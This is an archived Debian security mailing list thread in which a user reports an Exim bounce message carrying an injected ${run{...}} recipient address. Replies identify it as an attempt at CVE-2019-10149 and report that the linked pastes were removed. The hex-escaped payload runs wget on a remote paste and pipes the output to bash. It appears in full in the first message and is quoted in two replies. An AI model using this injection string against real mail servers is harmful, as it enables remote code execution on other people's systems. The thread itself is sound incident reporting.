Groups | Search | Server Info | Keyboard shortcuts | Login | Register [http] [https] [nntp] [nntps]

Groups > linux.debian.security > #5855 > unrolled thread

Misuse/Abuse

Back to article view | Back to linux.debian.security

Contents

  Misuse/Abuse "Knieling, Christian (IANM)" <christian.knieling@kit.edu> - 2020-10-13 09:20 +0200
    Re: Misuse/Abuse Paul Wise <pabs@debian.org> - 2020-10-13 15:00 +0200
    Re: Misuse/Abuse Daniel Leidert <dleidert@debian.org> - 2020-10-13 16:20 +0200
      Re: Misuse/Abuse Sven Hartge <sven@svenhartge.de> - 2020-10-13 16:30 +0200
      Re: Misuse/Abuse Martin Holub <martin@holub.co.at> - 2020-10-13 16:40 +0200

#5855 — Misuse/Abuse

[Multipart message — attachments visible in raw view] — view raw

To whom this may concern,

I got a system message from my mailer daemon lately. It contains

-------------------------------- cut --------------------------------
Message 1kS01n-0008Kv-Nb has been frozen (delivery error message).
The sender is <>.

The following address(es) have yet to be delivered:

${run{\x2Fbin\x2Fsh\t-c\t\x22wget\t-O\t-\thttps\x3A\x2F\x2Fpaste\x2Edebian\x2Enet\x2Fdownloadh\x2Fb8e3188e\t\x7C\tbash\x22}}@ianm-mang.math.kit.edu:
Too many "Received" headers - suspected mail loop
-------------------------------- cut --------------------------------


When you look into this you will find the URL

  https://paste.debian.net/downloadh/b8e3188e

which is downloaded via wget (called by /bin/sh) and then piped to a
bash. I have attached the file. Also I have attached another file which
will be downloaded within the file above
(https://paste.debian.net/downloadh/a6621e02). The file pkgmgr.sh that
should be downloaded as well was not downloadble for me so far.

I don't know if this messages reaches the right persons, but someone may
forward it. You may at least remove the files which are accessible on
paste.debian.net.

Best
Christian

[toc] | [next] | [standalone]

#5856

On Tue, Oct 13, 2020 at 7:14 AM Knieling, Christian (IANM) wrote:

> I don't know if this messages reaches the right persons, but someone may
> forward it. You may at least remove the files which are accessible on
> paste.debian.net.

I forwarded this to the paste.d.n admin and they removed them.

For future reference, the admin contact is listed on the left side of the site:

https://paste.debian.net/

-- 
bye,
pabs

https://wiki.debian.org/PaulWise

[toc] | [prev] | [next] | [standalone]

#5857

[Multipart message — attachments visible in raw view] — view raw

Am Dienstag, den 13.10.2020, 08:51 +0200 schrieb Knieling, Christian (IANM):
> To whom this may concern,
> 
> I got a system message from my mailer daemon lately. It contains
> 
> -------------------------------- cut --------------------------------
> Message 1kS01n-0008Kv-Nb has been frozen (delivery error message).
> The sender is <>.
> 
> The following address(es) have yet to be delivered:
> 
> ${run{\x2Fbin\x2Fsh\t-c\t\x22wget\t-O\t-
> \thttps\x3A\x2F\x2Fpaste\x2Edebian\x2Enet\x2Fdownloadh\x2Fb8e3188e\t\x7C\tbas
> h\x22}}@ianm-mang.math.kit.edu:
> Too many "Received" headers - suspected mail loop
> -------------------------------- cut --------------------------------
[..]
> I don't know if this messages reaches the right persons, but someone may
> forward it. You may at least remove the files which are accessible on
> paste.debian.net.

Clearly someone tries to run a command put as an address. Out of curiosity:
Which kind of vulnerability are they trying to use here?

Regards, Daniel
-- 
Regards,
Daniel Leidert <dleidert@debian.org> | https://www.wgdd.de/
GPG-Key RSA4096 / BEED4DED5544A4C03E283DC74BCD0567C296D05D
GPG-Key ED25519 / BD3C132D8B3805D1808123AB7ACE00941E338C78

If you like my work consider sponsoring me via
https://www.patreon.com/join/dleidert

[toc] | [prev] | [next] | [standalone]

#5858

On 13.10.20 16:00, Daniel Leidert wrote:

> Clearly someone tries to run a command put as an address. Out of curiosity:
> Which kind of vulnerability are they trying to use here?

Probably CVE-2019-10149

https://www.qualys.com/2019/06/05/cve-2019-10149/return-wizard-rce-exim.txt

Grüße,
Sven.

[toc] | [prev] | [next] | [standalone]

#5859

Am 13.10.20 um 16:00 schrieb Daniel Leidert:

> Am Dienstag, den 13.10.2020, 08:51 +0200 schrieb Knieling, Christian (IANM):
>> To whom this may concern,
>>
>> I got a system message from my mailer daemon lately. It contains
>>
>> -------------------------------- cut --------------------------------
>> Message 1kS01n-0008Kv-Nb has been frozen (delivery error message).
>> The sender is <>.
>>
>> The following address(es) have yet to be delivered:
>>
>> ${run{\x2Fbin\x2Fsh\t-c\t\x22wget\t-O\t-
>> \thttps\x3A\x2F\x2Fpaste\x2Edebian\x2Enet\x2Fdownloadh\x2Fb8e3188e\t\x7C\tbas
>> h\x22}}@ianm-mang.math.kit.edu:
>> Too many "Received" headers - suspected mail loop
>> -------------------------------- cut --------------------------------
> [..]
>> I don't know if this messages reaches the right persons, but someone may
>> forward it. You may at least remove the files which are accessible on
>> paste.debian.net.
> Clearly someone tries to run a command put as an address. Out of curiosity:
> Which kind of vulnerability are they trying to use here?
>
> Regards, Daniel

Hi,

I think some Exim4 exploit, see CVE-2019-10149 [1].

Cheers,
Martin

[1] https://security-tracker.debian.org/tracker/CVE-2019-10149

[toc] | [prev] | [standalone]

Back to top | Article view | linux.debian.security

csiph-web